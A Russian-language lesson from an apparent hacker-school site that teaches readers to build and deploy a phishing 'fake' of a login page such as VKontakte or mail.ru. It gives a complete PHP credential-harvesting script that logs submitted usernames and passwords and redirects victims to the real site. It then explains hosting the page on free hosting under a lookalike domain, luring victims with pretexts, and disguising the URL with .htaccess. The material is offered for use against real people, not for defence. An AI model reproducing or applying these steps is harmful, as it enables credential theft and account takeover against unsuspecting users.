В этом уроке вы узнаете один из самых простых способов взлома. Увы, всё
сразу я рассказать не смогу, ну и без небольшого предисловия обойтись тоже не получится, а почему...
О методах заимствования
Вообще существует немало способов узнавать пароли. Один из них (самый простой на мой взгляд) мы рассмотрим в этом
уроке. Возможно, кто-то скажет, мол, рано ещё, всего-то второй урок... поверьте, ничего сложного тут нет, а рассказать
об этом пораньше я решил чтобы подогреть интерес читателей.Наверняка многие пришли сюда с мыслями на подобие "а
как взламывать персов в вовке\линухе?", "как взламывать вконтакте\почту\аську?" и т.п. Хотелось бы заранее
предупредить что мыслить надо шире и думать о том как узнавать пароли вообще ("Мысли глобально, действуй
локально"), а не только от какого-то определённого сайта или сервера. Важно знать методики взлома и уметь применять
нужную в зависимости от ситуации. Тот способ, о котором я хочу вам рассказать, по сути своей является не взломом, а
кражей паролей пользователя. Делать мы это будем посредством фейка.
Что такое фейк
Фейк (от англ. fake - подделка, фальшивка) - это поддельная веб-страница (обычно с формой авторизации), которая
выглядит так же как и оригинал, но создана с целью передачи вводимых на ней паролей создателю. Сложно? Нет. Но
как-то не по-русски. Объясняю проще и, главное, нагляднее: пример фейка "вконтакте". Только не вздумайте там
вводить свой пароль и e-mail! Заходим, смотрим... видим страницу авторизации (входа), которая выглядит так же как и
страница входа в соц-сети "Вконтакте.ру"... но адресок-то не тот! (Все внимательно посмотрели на адресную строку и
глубоко задумались о смысле жизни ) Эта страница была скопирована с реальной, немного изменена (логины и пароли,
введённые в форму входа, сохраняются на хосте) и размещена на бесплатном хостинге (freehostia, как видно из адреса
страницы). То есть когда вы вводите пароль на этой странице, он сохраняется (я потом зайду и прочту ), а вас
перебрасывает на настоящий сайт вконтакте.
Делаем свой фейк
Теперь неплохо было бы рассмотреть сам процесс создания таких страниц (фейков), а именно узнать подробнее обо
всех вышеупомянутых операциях, итак начем-с.
Копирование. Это самый первый этап, который мы производим для того, чтобы наша страница выглядела идентично
реальной. Чтобы пользователь, зашедший туда, увидел привычную и знакомую форму входа и без лишних
размышлений о адресе страницы ввёл свой логин и пароль (и подарил их нам ). Итак, как же будем копировать? Просто
открываем нужный нам сайт в броузере opera (именно opera, так как она сохранит страницу точно так как нам нужно!),
заходим на страницу авторизации (то есть чтобы у нас форма входа была на главном плане и чтобы пользователь не
забыл ввести пароль ) и сохраняем эту страницу: файл - сохранить как... В появившемся окне выбираем тип
сохраняемого файла: HTML-файл с изображениями, имя: index. Лучше сразу создать для фейка отдельную папку и туда
скидывать все нужные для него файлы (в процессе создания у нас появится ещё несколько). Теперь нам нужно будет
открыть исходный код сохранённой страницы и разобраться в нём. Для этого откроем файл блокнотом, но лучше
скачайте такую замечательную программу как NotePad++. Я сам ей всегда пользуюсь, так как вещь это очень удобная,
универсальная и намного лучше блокнота! (скоро сами поймёте почему. Я просто рекомендую :good:) Итак, открываем
наш сохранённый index.htm текстовым редактором! Не пугайтесь, это совсем не так страшно как кажется!
По уши в html. То что вы видите называется html кодом страницы (он же исходный код страницы, он же просто код ).
Когда вы сохраняли страницу, рядом с полем для ввода логина и пароля наверняка были подписи (логично
предположить что там было написано "логин", "пароль" ). Вот по ним и будем ориентироваться. Ищем среди всего этого
безобразия такие слова. Рядом с ними на странице у нас располагались поля ввода логина и пасса. В html коде они
будут выглядеть примерно вот так: [/size]
<input type="text" name="login" value="" ......
<input type="password" name="password" ......
имена полей (выделены жирным, в коде идут после "name=") не всегда будут именно login и password. Где-то это могут
быть e-mail и pass , а где-то и username, parol. Зависит от фантазии тех, кто кодил страничку Для нас важно уметь
увидеть имена этих полей среди всего остального кода! Ещё одна подсказка: блок с надписями "логин", "пароль" и
формами ввода почти всегда находится в тэге <form>. Следующим действием мы должны запомнить (а лучше временно
записать) имена этих полей. Далее мы будем их использовать в одном скрипте (который и будет заниматься записью
паролей ). Итак, записали... ищем чуть выше глазами тэг <form> (он должен быть примерно в начале строки). После
него идут некоторые параметры самой формы (в этой же строке). Примерно такое:
<form name="login" action="users/passcheck.php" method="post" onsubmit="return check();">
Нас здесь интересует всё что подчёркнуто, а именно параметр action. для того чтобы наш фейк заработал, нам нужно
после ввода пользователем значения запустить наш кое-какой хитрый скрипт (ладно, ладно, скоро расскажу что за
скрипт ). Допустим, у нас он будет называться login.php. Вот и прописываем параметру action значение login.php (если
параметра action там нет - введите его сами: action="login.php"). Так же стоит обратить внимание на параметр method (в
той же строчке что form и action): он может иметь значение post или get. Для работы нашего скрипта там должно быть
post (если не так - меняем!). С этим файлом у нас всё. Сохраняемся и закрываем.
Этот загадочный скрипт... Как и обещал, сейчас расскажу о предназначении загадочного скрипта, уже не единожды
упомянутого мной ранее в этом уроке. Он будет выполнять функцию перехвата и записи введённых в поля логина и
пароля. Говоря русским языком, этот скрипт запишет логин и пароль обманутого пользователя. Сам скрипт не очень
большой и не сложный, написан на языке php (в прошлом уроке я о нём уже упоминал) и выглядит вот так:
_____________________________________________________________________________________________
Code
<?PHP
$Log = $_POST['login'];
$Pass = $_POST['password'];
$log = fopen("database.txt","at");
fwrite($log,"\n $Log:$Pass \n");
fclose($log);
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://lleo.aha.ru/na/'></head></html>";
?>
_____________________________________________________________________________________________
Сейчас разберёмся что к чему...
В первых двух строках переменным Log и Pass присваиваются значения соответствующих полей из предыдущего
файла. Именно для этого мы записывали названия полей с сохранённой страницы: мы должны указать их скрипту.
Меняем login и password из квадратных скобок на то, как были названы поля ввода на нашей сохранённой странице (Э!
Кавычки не трогаем!).
В третьей строке происходит открытие файла database.txt для записи. Можете назвать этот файл как хотите, хоть
IIACCbI_JIOXOB.txt)) Главное - не забудьте как назвали (название должно быть написано английскими буквами) и
создайте текстовый документ с таким именем в папке с фейком.
Четвёртая строка - запись в файл строки вида \n $Log:$Pass \n, где \n - переход на новую строку, $Log:$Pass -
значения переменных с логином и паролем, записанные через двоеточие.
Строка пятая - сохранение, закрытие файла.
Последняя строка - редирект (переадресация) на другую страницу (пока юзверь не просёк что это фейк). В этой
строчке после URL= вписываем адрес страницы, куда попадёт пользователь сразу после того как введёт логин и
пароль (и снова будте аккуратны с кавычкой после адреса - она должна там быть!). Лучше всего отправить его на
настоящую страницу (ну откуда там вы страничку копировали?) с сообщением о вводе неверного пароля. Тогда
бедолага решит что что-то не так ввёл, попорбует снова и зайдёт, ничего не заподозрив!
Итак, отредактировали скрипт как нам нужно, сохранили в файл с именем login.php (обратите внимание на расширение,
а то ещё сохраните как login.php.txt ) в папку с фейком.
Видео по пройденным этапам урока прилагается! http://hacker-school.ucoz.ru/load/2-1-0-7
Тестирование. Вот тут нам и пригодится наш локальный сервер! Запускайте всё это добро (кроме MySQL, сейчас он нам
не понадобится) и закидывайте файлы из папки с фейком на серв (папка htdocs, помните?). Открывайте localhost в
броузере. Должна загрузиться сохранённая нами страница. На ней вписывайте логин и пароль (что угодно английскими
буквами и цифрами). После нажатия на enter у вас должна открыться страница, указанная в скрипте (помните про
шестую строку, да?), а введённые логин и пароль должны были записаться в указанный в третьей строке файл.
Открываем его, проверяем. Если вы всё сделали правильно и проверка прошла как по маслу, то можно переходить к
следующему этапу - заливке на хост.
Размещаем фейк в Интернете. Всё что нам для этого понадобится - бесплатный хостинг с поддержкой php (например,
freehostia). Php нам нужен для того, чтобы работал наш скрипт, а бесплатный выбираем по понятным причинам. Нам
необходимо зарегистрировать домен на этом хосте (страничку в интернете) с адресом (названием), похожим на адрес
страницы, которую мы подделываем. Делаете вы, например, фейк сайта mail.ru, значит надо зарегестрировать что-то
вроде mait, nail, moil, majl и т.п. (можно и mail если на хосте свободным будет). При этом хостер предоставит вам домен
вида mail.freehostia.com, где mail - имя, которое вы регистрировали; freehostia - домен второго уровня (название
хоста), от которого вы никуда не денетесь из-за бесплатности хостинга; com - доменная зона, в которой будет
расположен ваш сайт (некоторые хостеры предоставляют возможность её выбора). Как вы поняли, мы должны
зарегистрировать адрес, максимально похожий на реальный, чтобы это не бросалось пользователю в глаза.
Зарегистрировались? Заходим в панель управления нашим сайтом и повторяем процедуру с тестированием на localhost-e.
Для начала, нужно придумать предлог, под которым жертва должна пройти по ссылке и ввести свой логин и пароль на
соответствующем ресурсе. Тут всё зависит от тематики подделанного вами сайта и интересов жертвы. Собственно, как
вы будете впаривать ссылку, можете придумать только вы сами.
Остаётся один маленький нюанс: адрес нашего фейка не соответствует адресу реального ресурса, и жертва может вам
просто не поверить. Тут есть два варианта. Первый - сказать что это, якобы, альтернативная страница авторизации или
страница для админов (что резко увеличит желание жертвы там авторизоваться). Второй вариант - после адреса фейка
приписать какой-нибудь интересный текст. Сейчас поясню. Допустим, адрес реального сайта был http://site.ru/, а адрес
созданного нами фейка - http://site.ourhoster.com/. Выглядит как-то палевно. Чтож, сделаем наш адрес таким: http://
site.ourhoster.com/RAZDACHA_UINOV_6-dig-BESPLATNO! и дадим эту ссылку жертве под соответствующим предлогом. Ну
кто же будет смотреть на первую часть адреса? Для того, чтобы такая ссылка сработала, нужно залить на хост всего
один файл - htaccess (заливать прямо в корневую папку). Теперь после адреса (только через слэш /) можно писать
любой текст (хоть с пробелами, хоть русскими буквами), а жертва всё-равно попадёт на фейк.[/size][/color]